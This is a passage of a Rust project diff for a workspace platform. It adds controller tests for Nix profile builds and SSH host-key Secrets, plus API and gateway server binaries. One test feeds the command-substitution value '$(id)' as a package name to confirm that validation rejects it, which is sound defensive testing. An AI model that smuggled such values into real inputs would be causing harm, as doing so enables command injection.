ws_ctx_with_ssh( + pool, + vec![ + rustic_git_workspaces::kube_test::not_found(WS_SSH_SECRET), + rustic_git_workspaces::kube_test::post( + "/api/v1/namespaces/ws-alice/secrets", + serde_json::json!({"apiVersion": "v1", "kind": "Secret", "metadata": {"name": "ws-ssh-ws-1"}}), + ), + ], + ) +} + +const WS_SSH_SECRET: &str = "/api/v1/namespaces/ws-alice/secrets/ws-ssh-ws-1"; + +fn ws_ctx_with_ssh(pool: &std::path::Path, ssh: Vec) -> (Arc, Recorder, Arc) { + let vol = serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Volume", + "metadata": {"name": "ws-1", "uid": "vol-uid-1"}, + "spec": {"owner": "alice", "team": "", "nodeName": "node-a", "region": "r1", "quotaGb": 20}, + "status": {"phase": "ready", "subvolumePresent": true} + }); + let fake = Arc::new(FakeNix::default()); + let mut routes = ssh; + routes.extend( + vec![ + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/ws-1", vol), + ready_binding(), + pv_route("pv-ws-1"), + pvc_route("live-ws-1"), + pv_route("nix-ws-1"), + pvc_route("nix-ws-1"), + rustic_git_workspaces::kube_test::post( + "/api/v1/namespaces/ws-alice/pods", + serde_json::json!({"apiVersion": "v1", "kind": "Pod", "metadata": {"name": "ws-1"}}), + ), + Route { method: "PATCH", path: WS_STATUS.into(), status: 200, body: ws_json(serde_json::json!({})) }, + ], + ); + let (ctx, rec) = ctx_full(pool, routes, "http://127.0.0.1:1", fake.clone()); + (ctx, rec, fake) +} + +fn ready_workspace(id: &str, packages: Vec) -> crd::Workspace { + let mut o = ws_json(serde_json::json!({"phase": "creating", "nodeName": "node-a", "compatibleNodes": ["node-a"]})); + o["metadata"]["name"] = id.into(); + o["spec"]["packages"] = serde_json::json!(packages); + serde_json::from_value(o).unwrap() +} + +/// Apply until the profile step stops asking to be requeued: the build runs on its own thread, so +/// the pass that observes it is a later one — as with every other long operation here. +async fn apply_until_settled(w: &crd::Workspace, ctx: &Arc) { + for _ in 0..4 { + let _ = rustic_git_agent::controller::apply_workspace(w, ctx).await.unwrap(); + if ctx.running.lock().unwrap().is_empty() { + return; + } + wait_idle(ctx).await; + } + panic!("the profile step never settled"); +} + +fn packages_condition(status: &serde_json::Value) -> serde_json::Value { + status["status"]["conditions"] + .as_array() + .unwrap() + .iter() + .find(|c| c["type"] == "PackagesReady") + .unwrap_or_else(|| panic!("no PackagesReady condition in {status}")) + .clone() +} + +/// The profile is built from the spec, and the pod only exists once it is — a container started on +/// a stale profile is a workspace whose tools silently disagree with what it declares. +#[tokio::test] +async fn a_workspace_builds_its_profile_from_its_spec_before_its_pod() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec, fake) = ws_ctx_with_nix(tmp.path()); + let ws = ready_workspace("ws-1", vec!["hello".into()]); + apply_until_settled(&ws, &ctx).await; + + let builds = fake.builds.lock().unwrap().clone(); + assert_eq!(builds.len(), 1); + assert!(builds[0].contains("pkgs.git pkgs.openssh") && builds[0].ends_with("pkgs.hello ]; }"), "base set first, then the workspace's own: {}", builds[0]); + assert!(rustic_git_agent::nix::profile_exists(&ctx.profiles_dir, "ws-1"), "published as

/current"); + let calls = rec.calls(); + let built = calls.iter().position(|c| c.contains("/status")).unwrap(); + let pod = calls.iter().position(|c| c.starts_with("POST") && c.contains("/pods")).unwrap(); + assert!(built < pod, "status (Building/Built) before the pod is created: {calls:?}"); + let st = rec.sent("PATCH", WS_STATUS).last().unwrap().clone(); + assert_eq!(st["status"]["packages"]["observed"][0], "hello"); + assert_eq!(packages_condition(&st)["reason"], "Built"); +} + +/// An empty list is still a profile: the pod mounts it as a subPath of a read-only claim, so a +/// missing link is a pod that cannot mount at all. +#[tokio::test] +async fn a_workspace_with_no_packages_still_gets_a_profile_before_its_pod() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec, fake) = ws_ctx_with_nix(tmp.path()); + let ws = ready_workspace("ws-1", vec![]); + apply_until_settled(&ws, &ctx).await; + + let builds = fake.builds.lock().unwrap().clone(); + assert_eq!(builds.len(), 1, "an empty profile is still built"); + assert!(builds[0].contains("pkgs.git") && !builds[0].contains("pkgs.hello"), "the base set alone: {}", builds[0]); + assert!(rustic_git_agent::nix::profile_exists(&ctx.profiles_dir, "ws-1"), "the link the pod mounts"); + let calls = rec.calls(); + let built = calls.iter().position(|c| c.contains("/status")).unwrap(); + let pod = calls.iter().position(|c| c.starts_with("POST") && c.contains("/pods")).unwrap(); + assert!(built < pod, "the profile exists before the pod does: {calls:?}"); +} + +/// A pod started before its host key Secret exists mounts nothing at `/etc/ssh` and sshd dies on +/// boot, so the Secret has to be there first — and the public half has to reach status, which is +/// the only place the CLI can learn the key to pin. +#[tokio::test] +async fn a_workspace_gets_a_host_key_secret_before_its_pod() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec, _fake) = ws_ctx_with_nix(tmp.path()); + let ws = ready_workspace("ws-1", vec![]); + apply_until_settled(&ws, &ctx).await; + + let calls = rec.calls(); + let secret = calls.iter().position(|c| c == "POST /api/v1/namespaces/ws-alice/secrets").expect("host key Secret created"); + let pod = calls.iter().position(|c| c.starts_with("POST") && c.contains("/pods")).expect("pod created"); + assert!(secret < pod, "the Secret exists before the pod does: {calls:?}"); + + let sent = rec.sent("POST", "/api/v1/namespaces/ws-alice/secrets"); + let body = &sent[0]; + assert_eq!(body["metadata"]["name"], "ws-ssh-ws-1"); + assert_eq!(body["stringData"]["ssh_host_ed25519_key"], "FAKE PRIVATE"); + assert!(body["stringData"]["sshd_config"].as_str().unwrap().contains("HostKey")); + + let st = rec.sent("PATCH", WS_STATUS).last().unwrap().clone(); + assert_eq!(st["status"]["sshHostKey"], "ssh-ed25519 FAKEPUB ws", "the public half, on status: {st}"); +} + +/// A recreated pod must keep the key its users have pinned, so an existing Secret is read, never +/// regenerated. +#[tokio::test] +async fn an_existing_host_key_is_reused() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec, _fake) = ws_ctx_with_ssh( + tmp.path(), + vec![rustic_git_workspaces::kube_test::get( + WS_SSH_SECRET, + serde_json::json!({ + "apiVersion": "v1", "kind": "Secret", + "metadata": {"name": "ws-ssh-ws-1", "namespace": "ws-alice"}, + // As the API server hands them back: base64 of "ssh-ed25519 OLDPUB ws". + "data": {"ssh_host_ed25519_key.pub": "c3NoLWVkMjU1MTkgT0xEUFVCIHdz"}, + }), + )], + ); + let ws = ready_workspace("ws-1", vec![]); + apply_until_settled(&ws, &ctx).await; + + assert!( + !rec.calls().iter().any(|c| c == "POST /api/v1/namespaces/ws-alice/secrets"), + "an existing key is never replaced: {:?}", + rec.calls() + ); + let st = rec.sent("PATCH", WS_STATUS).last().unwrap().clone(); + assert_eq!(st["status"]["sshHostKey"], "ssh-ed25519 OLDPUB ws"); +} + +/// The hash is what makes this idempotent: same pin, same list, a link on disk — no nix at all. +#[tokio::test] +async fn a_matching_hash_and_present_link_skip_the_build() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, _rec, fake) = ws_ctx_with_nix(tmp.path()); + let mut ws = ready_workspace("ws-1", vec!["hello".into()]); + let pin = rustic_git_agent::nix::nixpkgs_pin(); + ws.status.as_mut().unwrap().packages = Some(rustic_git_workspaces::crd::PackagesStatus { + base: vec![], + observed: vec!["hello".into()], + observed_hash: Some(rustic_git_workspaces::packages::hash(&pin, &with_base(&["hello".into()]))), + profile: None, + nixpkgs: Some(pin), + }); + plant_profile(&ctx, "ws-1"); + let _ = rustic_git_agent::controller::apply_workspace(&ws, &ctx).await.unwrap(); + assert!(fake.builds.lock().unwrap().is_empty(), "nothing to build"); +} + +/// A build that fails never touches the live profile: the workspace keeps the tools it had and the +/// reason is on its status, rather than a pod that cannot start. And the FAILED list is not +/// recorded as observed — doing so makes the next pass see a match and never retry. +#[tokio::test] +async fn a_failed_build_keeps_the_old_profile_and_retries_later() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec, fake) = ws_ctx_with_nix(tmp.path()); + plant_profile(&ctx, "ws-1"); + *fake.answer.lock().unwrap() = Err("error: attribute 'nodejs_99' missing".into()); + let ws = ready_workspace("ws-1", vec!["nodejs_99".into()]); + apply_until_settled(&ws, &ctx).await; + + let st = rec.sent("PATCH", WS_STATUS).last().unwrap().clone(); + let c = packages_condition(&st); + assert_eq!(c["reason"], "BuildFailed"); + assert!(c["message"].as_str().unwrap().contains("nodejs_99")); + assert!(rustic_git_agent::nix::profile_exists(&ctx.profiles_dir, "ws-1"), "the previous profile is untouched"); + assert!(rec.calls().iter().any(|c| c.starts_with("POST") && c.contains("/pods")), "the pod still runs on the old profile"); + + // The next pass reads back the status just written — which is where recording the FAILED list + // as observed would make it see a hash match plus a link on disk, and never retry. + let mut o = serde_json::to_value(&ws).unwrap(); + o["status"] = st["status"].clone(); + let ws = serde_json::from_value::(o).unwrap(); + *fake.answer.lock().unwrap() = Ok(()); + apply_until_settled(&ws, &ctx).await; + assert_eq!(fake.builds.lock().unwrap().len(), 2, "a failure is retried"); + let st = rec.sent("PATCH", WS_STATUS).last().unwrap().clone(); + assert_eq!(st["status"]["packages"]["observed"][0], "nodejs_99", "recorded only once it built"); +} + +/// The API validates, but the object is not only written by the API: a name that is not an +/// attribute must be refused again here, before it can be rendered into an expression. +#[tokio::test] +async fn an_invalid_spec_entry_never_reaches_nix() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec, fake) = ws_ctx_with_nix(tmp.path()); + let ws = ready_workspace("ws-1", vec!["$(id)".into()]); // written past the API, e.g. kubectl + let _ = rustic_git_agent::controller::apply_workspace(&ws, &ctx).await.unwrap(); + assert!(fake.builds.lock().unwrap().is_empty()); + let st = rec.sent("PATCH", WS_STATUS).last().unwrap().clone(); + assert_eq!(packages_condition(&st)["reason"], "BuildFailed"); + assert!(!rec.calls().iter().any(|c| c.starts_with("POST") && c.contains("/pods")), "no profile ever existed, so no pod"); +} + +/// THE lost-edit bug: a PATCH that lands while the build runs must not be published as if it were +/// the new spec. The build that finished belongs to the OLD list; publishing it and stamping the +/// NEW hash makes every later pass see a match and never rebuild — the workspace is permanently +/// short a package it asked for. +#[tokio::test] +async fn a_spec_change_during_a_build_is_rebuilt_not_published_under_the_new_hash() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec, fake) = ws_ctx_with_nix(tmp.path()); + let first = ready_workspace("ws-1", vec!["hello".into()]); + let second = ready_workspace("ws-1", vec!["hello".into(), "jq".into()]); + + // Pass one starts the build for [hello]; the edit lands before it completes. + let _ = rustic_git_agent::controller::apply_workspace(&first, &ctx).await.unwrap(); + wait_idle(&ctx).await; + // Every later pass sees the edited spec. + apply_until_settled(&second, &ctx).await; + + let builds = fake.builds.lock().unwrap().clone(); + assert_eq!(builds.len(), 2, "the superseded build is discarded and the new spec built: {builds:?}"); + assert!(builds[1].contains("pkgs.jq"), "the second build is the edited list: {}", builds[1]); + let st = rec.sent("PATCH", WS_STATUS).last().unwrap().clone(); + let pin = rustic_git_agent::nix::nixpkgs_pin(); + assert_eq!( + st["status"]["packages"]["observedHash"], + rustic_git_workspaces::packages::hash(&pin, &with_base(&["hello".into(), "jq".into()])), + "the recorded hash is the one that was actually built" + ); + assert_eq!(packages_condition(&st)["reason"], "Built"); +} + +/// A daemon that is down is this node's fault, not the package list's: its own reason, no build +/// attempted, and a workspace that already has a profile still gets its pod. +#[tokio::test] +async fn a_dead_daemon_is_no_nix_and_never_a_build() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec, fake) = ws_ctx_with_nix(tmp.path()); + *fake.ping.lock().unwrap() = Err("cannot connect to /nix/var/nix/daemon-socket/socket".into()); + let ws = ready_workspace("ws-1", vec!["hello".into()]); + let action = rustic_git_agent::controller::apply_workspace(&ws, &ctx).await.unwrap(); + + assert!(fake.builds.lock().unwrap().is_empty(), "nothing is built without a daemon"); + let st = rec.sent("PATCH", WS_STATUS).last().unwrap().clone(); + let c = packages_condition(&st); + assert_eq!(c["reason"], "NoNix"); + assert!(c["message"].as_str().unwrap().contains("daemon-socket"), "{c}"); + assert_eq!(action, kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(60))); + + // With a profile already on disk the pod still runs — the tools it has keep working. + plant_profile(&ctx, "ws-1"); + let _ = rustic_git_agent::controller::apply_workspace(&ws, &ctx).await.unwrap(); + assert!(rec.calls().iter().any(|c| c.starts_with("POST") && c.contains("/pods"))); +} + +/// A stop must not erase what the packages step said: dropping `PackagesReady` left the web +/// showing "installing packages…" for a workspace that is simply off. +#[tokio::test] +async fn stopping_a_workspace_keeps_its_packages_condition() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec, _fake) = ws_ctx_with_nix(tmp.path()); + let mut ws = ready_workspace("ws-1", vec!["hello".into()]); + ws.spec.desired_state = crd::DesiredState::Stopped; + ws.status.as_mut().unwrap().conditions = + vec![crd::condition(crd::PACKAGES_READY, true, "Built", "profile is on disk", 1)]; + let _ = rustic_git_agent::controller::apply_workspace(&ws, &ctx).await.unwrap(); + + let st = rec.sent("PATCH", WS_STATUS).last().unwrap().clone(); + assert_eq!(st["status"]["phase"], "stopped"); + assert_eq!(packages_condition(&st)["reason"], "Built"); +} + +/// The RESTART half of the mid-build bug: while a build runs, status must keep saying what is on +/// the DISK. Recording the new hash under `Building` and then dying before the publish leaves a +/// status that matches the spec next to the previous profile — every later pass sees a hash match +/// and skips the build forever. +#[tokio::test] +async fn a_build_interrupted_by_a_restart_is_started_again() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, _rec, fake) = ws_ctx_with_nix(tmp.path()); + let pin = rustic_git_agent::nix::nixpkgs_pin(); + // The disk has [hello]; the spec asks for [hello, jq]; status says Building and — correctly — + // still names the OLD list. The Ctx is fresh: no handle, no remembered hash, as after a crash. + plant_profile(&ctx, "ws-1"); + let mut ws = ready_workspace("ws-1", vec!["hello".into(), "jq".into()]); + let st = ws.status.as_mut().unwrap(); + st.packages = Some(rustic_git_workspaces::crd::PackagesStatus { + base: vec![], + observed: vec!["hello".into()], + observed_hash: Some(rustic_git_workspaces::packages::hash(&pin, &with_base(&["hello".into()]))), + profile: None, + nixpkgs: Some(pin), + }); + st.conditions = vec![crd::condition(crd::PACKAGES_READY, false, "Building", "taking the profile through nix", 1)]; + assert!(ctx.running.lock().unwrap().is_empty()); + + let _ = rustic_git_agent::controller::apply_workspace(&ws, &ctx).await.unwrap(); + // The build runs on a blocking thread; on a loaded CI box it has not always STARTED by the + // time the pass returns, and the fake records a build only when it runs. + wait_idle(&ctx).await; + let builds = fake.builds.lock().unwrap().clone(); + assert_eq!(builds.len(), 1, "the interrupted build is started again"); + assert!(builds[0].contains("pkgs.jq"), "{}", builds[0]); +} + +/// A build that keeps failing must not be retried every minute forever: the requeue grows with how +/// long the workspace has been in `BuildFailed`, and a spec edit (the only real fix) is an event +/// that wakes the reconcile regardless. +#[tokio::test] +async fn a_failing_build_backs_off_from_a_minute_towards_an_hour() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, _rec, fake) = ws_ctx_with_nix(tmp.path()); + *fake.answer.lock().unwrap() = Err("error: attribute 'nodejs_99' missing".into()); + let ws = ready_workspace("ws-1", vec!["nodejs_99".into()]); // nothing on disk to fall back to + + let fail_once = |w: &crd::Workspace, ctx: &Arc| { + let w = w.clone(); + let ctx = ctx.clone(); + async move { + let _ = rustic_git_agent::controller::apply_workspace(&w, &ctx).await.unwrap(); + wait_idle(&ctx).await; + rustic_git_agent::controller::apply_workspace(&w, &ctx).await.unwrap() + } + }; + assert_eq!( + fail_once(&ws, &ctx).await, + kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(60)), + "the first failure retries at the floor" + ); + + // Ten minutes in the failed state: the retry is ten minutes out. + let mut ws = ws; + let mut c = crd::condition(crd::PACKAGES_READY, false, "BuildFailed", "error: attribute 'nodejs_99' missing", 1); + c.last_transition_time = k8s_openapi::apimachinery::pkg::apis::meta::v1::Time( + k8s_openapi::jiff::Timestamp::now() - std::time::Duration::from_secs(600), + ); + ws.status.as_mut().unwrap().conditions = vec![c]; + assert_eq!( + fail_once(&ws, &ctx).await, + kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(600)) + ); +} diff --git a/bins/api/Cargo.toml b/bins/api/Cargo.toml new file mode 100644 index 00000000..060dce44 --- /dev/null +++ b/bins/api/Cargo.toml @@ -0,0 +1,22 @@ +[package] +name = "rustic-git-api-bin" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[[bin]] +name = "rustic-git-api" +path = "src/main.rs" + +[dependencies] +tracing = { workspace = true } +rustic-git-core = { path = "../../crates/core" } +rustic-git-storage = { path = "../../crates/storage" } +rustic-git-pulls = { path = "../../crates/pulls" } # directory; no check feature +rustic-git-api = { path = "../../crates/api" } +rustic-git-workspaces = { path = "../../crates/workspaces" } +kube = { workspace = true } +async-trait = { workspace = true } +tokio = { workspace = true } +axum = { workspace = true } +rustls = { workspace = true } diff --git a/bins/api/src/main.rs b/bins/api/src/main.rs new file mode 100644 index 00000000..ed485e6c --- /dev/null +++ b/bins/api/src/main.rs @@ -0,0 +1,193 @@ +//! The read and team API — its own process, not a subcommand of the git server. +//! +//! Separate because the two have nothing in common at runtime. The git server owns +//! repositories: it holds SlateDB writer leases, answers SSH, and a restart moves +//! ownership around the fleet. This one owns no repository state at all — it reads +//! through a cache and talks to Cosmos — so it scales on request volume, restarts +//! freely, and must never be the reason a git node bounces. +//! +//! One binary with a subcommand made that distinction a convention. Two binaries +//! make it a fact: this process cannot open a repository for writing, because none +//! of that code is reachable from here. + +use rustic_git_core::err; +use rustic_git_core::{require_jwt_secret_from_env, Result}; +use rustic_git_storage::config::{env, install_crypto_provider, open_store}; +use std::sync::Arc; + +/// Adapts the mongo-backed `Directory` to `workspaces::api::MembershipCheck` — kept here rather +/// than in either crate so `rustic-git-workspaces` never needs a dependency on `rustic-git-pulls` +/// just for this one lookup. +struct DirMembership(Arc); + +#[async_trait::async_trait] +impl rustic_git_workspaces::api::MembershipCheck for DirMembership { + async fn teams_for(&self, user: &str) -> Vec { + self.0.for_user(user).await.unwrap_or_default().into_iter().map(|t| t.slug).collect() + } +} + +/// The directory as the workspaces api's revocation list: a CLI token works only while its row +/// stands, the same rule `crates/api`'s `user_identity` enforces on this tier's own routes. +struct DirCliTokens(Arc); + +#[async_trait::async_trait] +impl rustic_git_workspaces::api::CliTokenCheck for DirCliTokens { + async fn is_live(&self, jti: &str) -> bool { + matches!( + self.0.credential(jti).await, + Ok(Some(c)) if c.kind == rustic_git_pulls::directory::CredentialKind::CliToken + ) + } +} + +/// The owner's `authorized_keys`, for the Secret every workspace's sshd reads. +struct DirKeys(Arc); + +#[async_trait::async_trait] +impl rustic_git_workspaces::api::AuthorizedKeys for DirKeys { + async fn for_owner(&self, owner: &str) -> Option { + let authorized_keys = rustic_git_api::authorized_keys_for(&self.0, owner) + .await + .inspect_err(|e| tracing::warn!(%owner, error = %e, "reading ssh keys")) + .ok()?; + let (git_name, git_email) = rustic_git_api::git_identity_for(&self.0, owner) + .await + .inspect_err(|e| tracing::warn!(%owner, error = %e, "reading git identity")) + .ok()?; + Some(rustic_git_workspaces::api::OwnerMaterial { authorized_keys, git_name, git_email }) + } +} + +#[tokio::main] +async fn main() { + rustic_git_core::log::init(); + rustic_git_core::metrics::init(); + // Its own listener: 8090 is what the ingress forwards `/v1` to. + rustic_git_core::metrics::serve_if_configured().await; + if let Err(e) = run().await { + tracing::error!("{e}"); + std::process::exit(2); + } +} + +async fn run() -> Result<()> { + // Explicit here as well as inside open_store: this process opens TLS to Cosmos + // too, and a future reordering must not depend on which call happens first. + install_crypto_provider(); + + // `false`: compaction and garbage collection belong to the process that owns + // the repository. Running them here would put two compactors on one database. + let store = open_store(false).await?; + let cache = store.cache.clone(); + + // The browse routes live on the git nodes' PEER listener, so this must be the + // peer Service, never the public one. + let upstream = env("RUSTIC_GIT_UPSTREAM", "http://rustic-git:8081"); + let secret = std::env::var("RUSTIC_GIT_PEER_SECRET") + .map_err(|_| err("RUSTIC_GIT_PEER_SECRET required"))?; + + // Optional on purpose: without it the browse routes still answer and only the + // team routes report unavailable. A database outage must not stop reads that + // never touched it. + let directory = match std::env::var("RUSTIC_GIT_MONGO_URI") { + Ok(uri) if !uri.is_empty() => { + let db = env("RUSTIC_GIT_MONGO_DB", "kloudlite"); + let d = rustic_git_pulls::directory::Directory::connect(&uri, &db).await?; + tracing::info!(db = %db, "directory in mongo db"); + Some(Arc::new(d)) + } + _ => { + tracing::warn!("RUSTIC_GIT_MONGO_URI unset: /v1 routes will answer 503"); + None + } + }; + + // Same rule as the git tier: in a fleet an unset secret is a startup error, not a + // degraded mode, because the tokens this tier mints are verified by the other one. + require_jwt_secret_from_env()?; + let jwt = match std::env::var("RUSTIC_GIT_JWT_SECRET") { + Ok(s) if !s.is_empty() => Some(Arc::new(rustic_git_core::jwt::Jwt::new(&s)?)), + _ => { + tracing::warn!("RUSTIC_GIT_JWT_SECRET unset: sign-in cannot issue tokens"); + None + } + }; + + // Workspaces/environments/regions routes need both a MetaStore and a signer, so they can + // only be mounted once `jwt` above is Some. `COSMOS_ENDPOINT` unset means dev: an in-memory + // store, lost on restart, same spirit as `RUSTIC_GIT_S3_URL=mem://` for the git store. + let workspaces = match jwt.clone() { + Some(jwt) => { + let meta_store: Arc = + match std::env::var("COSMOS_ENDPOINT") { + Ok(endpoint) if !endpoint.is_empty() => { + let key = std::env::var("COSMOS_KEY") + .map_err(|_| err("COSMOS_KEY required with COSMOS_ENDPOINT"))?; + let db = env("COSMOS_DB", "rustic-git"); + tracing::info!(db = %db, "workspaces metadata in cosmos db"); + Arc::new( + rustic_git_workspaces::cosmos::CosmosStore::new(&endpoint, &key, &db) + .await + .map_err(|e| err(format!("connecting to cosmos: {e:?}")))?, + ) + } + _ => { + tracing::warn!("COSMOS_ENDPOINT unset: workspaces metadata is in-memory (dev only)"); + Arc::new(rustic_git_workspaces::store::MemStore::new()) + } + }; + // No admin-role system exists yet anywhere in this codebase (checked); a static + // allowlist of emails is the whole mechanism for the region routes until one does. + let admins = std::env::var("RUSTIC_GIT_WORKSPACES_ADMINS") + .unwrap_or_default() + .split(',') + .map(|s| s.trim().to_string()) + .filter(|s| !s.is_empty()) + .collect(); + let mut state = rustic_git_workspaces::api::ApiState::new(meta_store, jwt, admins); + // So a new workspace comes up with the owner's platform-issued git key already mounted. + state = state.with_keys(store.clone()); + if let Some(dir) = directory.clone() { + state = state.with_membership(Arc::new(DirMembership(dir.clone()))); + state = state.with_cli_tokens(Arc::new(DirCliTokens(dir.clone()))); + state = state.with_authorized_keys(Arc::new(DirKeys(dir))); + } + // Snapshots live on the server tier, not in the cluster: a snapshot outlives the + // workspace it was taken of, so the volume routes read the browse tier's + // `/api/{owner}/volumes|volumehistory` over the same peer credentials this process + // already proxies browse reads with. + state = state.with_upstream(Arc::new(rustic_git_workspaces::upstream::Upstream::new( + &upstream, + &secret, + ))); + // In-cluster config when the pod has a ServiceAccount, else the operator's kubeconfig. + // `None` is a legitimate dev configuration (no cluster) — workspace and environment + // routes answer 503 rather than not existing. The volume routes keep working without + // it: the cluster only says whether a snapshot's parent is still around. + match kube::Client::try_default().await { + Ok(c) => state = state.with_kube(c), + Err(e) => tracing::warn!(error = %e, "no kubernetes config: /v1 workspace routes will answer 503"), + } + // The requeue sweep and the agent register/work/done/failed routes moved to the + // server tier (Task 14) — this process now only serves the user-facing + // /v1/workspaces|environments|regions|volumes routes. + Some(Arc::new(state)) + } + None => None, + }; + + let l = tokio::net::TcpListener::bind(env("RUSTIC_GIT_API_ADDR", "0.0.0.0:8090")).await?; + tracing::info!(addr = %l.local_addr()?, %upstream, "api listening"); + // Adding or removing an ssh key has to reach every running workspace of that owner, and the + // Secret it lands in is the workspaces tier's to write — so the hook is just that call. + let on_keys_changed: Option = workspaces.clone().map(|ws| { + Arc::new(move |owner: String| { + let ws = ws.clone(); + Box::pin(async move { rustic_git_workspaces::api::refresh_user_keys(&ws, &owner).await }) + as std::pin::Pin + Send>> + }) as rustic_git_api::KeysChanged + }); + rustic_git_api::serve(store, cache, directory, jwt, upstream, secret, l, workspaces, on_keys_changed) + .await +} diff --git a/bins/gateway/Cargo.toml b/bins/gateway/Cargo.toml new file mode 100644 index 00000000..54594a5c --- /dev/null +++ b/bins/gateway/Cargo.toml @@ -0,0 +1,38 @@ +[package] +name = "rustic-git-gateway-bin" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[lib] +name = "rustic_git_gateway" +path = "src/lib.rs" + +[[bin]] +name = "rustic-git-gateway" +path = "src/main.rs" + +[dependencies] +tracing = { workspace = true } +metrics = { workspace = true } +tracing-subscriber = { workspace = true } +rustic-git-core = { path = "../../crates/core" } +rustic-git-workspaces = { path = "../../crates/workspaces" } +kube = { workspace = true } +k8s-openapi = { workspace = true } +# `ws` is what this binary is: the tunnel is a WebSocket upgrade and nothing else. +axum = { workspace = true, features = ["ws"] } +axum-server = { workspace = true } +rustls = { workspace = true } +tokio = { workspace = true } +futures = { workspace = true } + +[dev-dependencies] +rustic-git-workspaces = { path = "../../crates/workspaces", features = ["testkit"] } +# The tests are the gateway's own CLIENT — the same library axum's `ws` feature is built on, so +# the lock pins one version for both. +tokio-tungstenite = { workspace = true } +# Minting an ALREADY-EXPIRED token: `Jwt::mint_ssh_session` always signs 60s into the future, and +# a test that waits out a real TTL is a minute of CI for one assertion. +jsonwebtoken = { workspace = true } +serde_json = { workspace = true } diff --git a/bins/gateway/src/lib.rs b/bins/gateway/src/lib.rs new file mode 100644 index 00000000..445e3e4a --- /dev/null +++ b/bins/gateway/src/lib.rs @@ -0,0 +1,4 @@ +pub mod resolve; +pub mod tunnel; + +pub use tunnel::{app, Gateway}; diff --git a/bins/gateway/src/main.rs b/bins/gateway/src/main.rs new file mode 100644 index 00000000..8d939e67 --- /dev/null +++ b/bins/gateway/src/main.rs @@ -0,0 +1,88 @@ +//! `rustic-git-gateway`: the region's front door for SSH into a workspace. +//! +//! Two listeners on purpose. 443 is the real one — TLS with a Cloudflare Origin CA certificate, +//! bound to the node's public interface by `hostPort`, and the node firewall admits it from +//! Cloudflare's ranges only, so the edge is the only client that can complete a handshake. 8080 is +//! plaintext and cluster-internal: the health probe and the tests, nothing else. `GATEWAY_TLS_DIR` +//! set with no readable certificate is FATAL — falling back to plaintext there is a pod that +//! passes its probe and is unreachable from the edge. Unset is the laptop shape: HTTP only. + +use rustic_git_core::jwt::Jwt; +use rustic_git_gateway::{app, Gateway}; +use std::sync::Arc; + +#[tokio::main] +async fn main() { + rustic_git_core::log::init(); + rustic_git_core::metrics::init(); + // Its own listener: 8080 and 443 are both internet-facing here. + rustic_git_core::metrics::serve_if_configured().await; + // Exactly one rustls CryptoProvider, installed before the first handshake — which for this + // binary is the kube client, not the listener. Its absence is a panic inside rustls that names + // nothing about startup order. + let _ = rustls::crypto::ring::default_provider().install_default(); + + let secret = std::env::var("RUSTIC_GIT_JWT_SECRET").unwrap_or_default(); + let jwt = match Jwt::new(&secret) { + Ok(j) => j, + Err(e) => fatal(format!("RUSTIC_GIT_JWT_SECRET: {e}")), + }; + // No default region: a gateway that guessed one would accept tokens minted for somewhere else. + let region = match std::env::var("WS_REGION") { + Ok(r) if !r.is_empty() => r, + _ => fatal("WS_REGION is required".into()), + }; + let kube = match kube::Client::try_default().await { + Ok(c) => c, + Err(e) => fatal(format!("kube client: {e}")), + }; + + let gw = Arc::new(Gateway::new(jwt, region, kube, 22)); + let router = app(gw); + + // The ENV VAR is the switch, not the file: set (as the Deployment always sets it) means TLS is + // required and a missing or unreadable certificate is a boot failure. A pod that quietly fell + // back to plaintext would keep passing its 8080 probe while being unreachable from the edge — + // an outage that looks like Cloudflare's. Unset is the dev shape: HTTP only, on purpose. + // + // The certificate is read ONCE, here. Rotating it (Origin CA certificates last 15 years) means + // restarting the pods; there is no reload watch, and adding one before the first rotation is + // due would be code nobody has exercised. + if let Ok(tls_dir) = std::env::var("GATEWAY_TLS_DIR") { + let (crt, key) = (format!("{tls_dir}/tls.crt"), format!("{tls_dir}/tls.key")); + let cfg = match axum_server::tls_rustls::RustlsConfig::from_pem_file(&crt, &key).await { + Ok(c) => c, + Err(e) => fatal(format!( + "GATEWAY_TLS_DIR is set but {crt}/{key} could not be loaded ({e}) — \ + refusing to serve plaintext where TLS was configured" + )), + }; + let https = router.clone(); + tokio::spawn(async move { + tracing::info!("gateway tls on 0.0.0.0:443"); + let addr: std::net::SocketAddr = ([0, 0, 0, 0], 443).into(); + if let Err(e) = axum_server::bind_rustls(addr, cfg).serve(https.into_make_service()).await { + // The TLS listener IS the product; losing it must not leave a pod that still + // passes its health check on 8080. + tracing::error!("tls listener: {e}"); + std::process::exit(1); + } + }); + } else { + tracing::warn!("GATEWAY_TLS_DIR unset — serving plain HTTP only (dev)"); + } + + let l = match tokio::net::TcpListener::bind("0.0.0.0:8080").await { + Ok(l) => l, + Err(e) => fatal(format!("binding 8080: {e}")), + }; + tracing::info!("gateway on 0.0.0.0:8080"); + if let Err(e) = axum::serve(l, router).await { + fatal(format!("serving: {e}")); + } +} + +fn fatal(msg: String) -> ! { + tracing::error!("{msg}"); + std::process::exit(1) +} diff --git a/bins/gateway/src/resolve.rs b/bins/gateway/src/resolve.rs new file mode 100644 index 00000000..08cb2202 --- /dev/null +++ b/bins/gateway/src/resolve.rs @@ -0,0 +1,56 @@ +//! Where a workspace's sshd actually is. +//! +//! The Workspace object is the source of truth for placement, but it does not carry an address — +//! only `status.podRef`, because a pod IP changes on every recreate and a status field that stale +//! would be worse than none. So this is two GETs, always, and never a cache: a connect is rare +//! (one per ssh session) and a wrong address is a hung handshake, not a fast 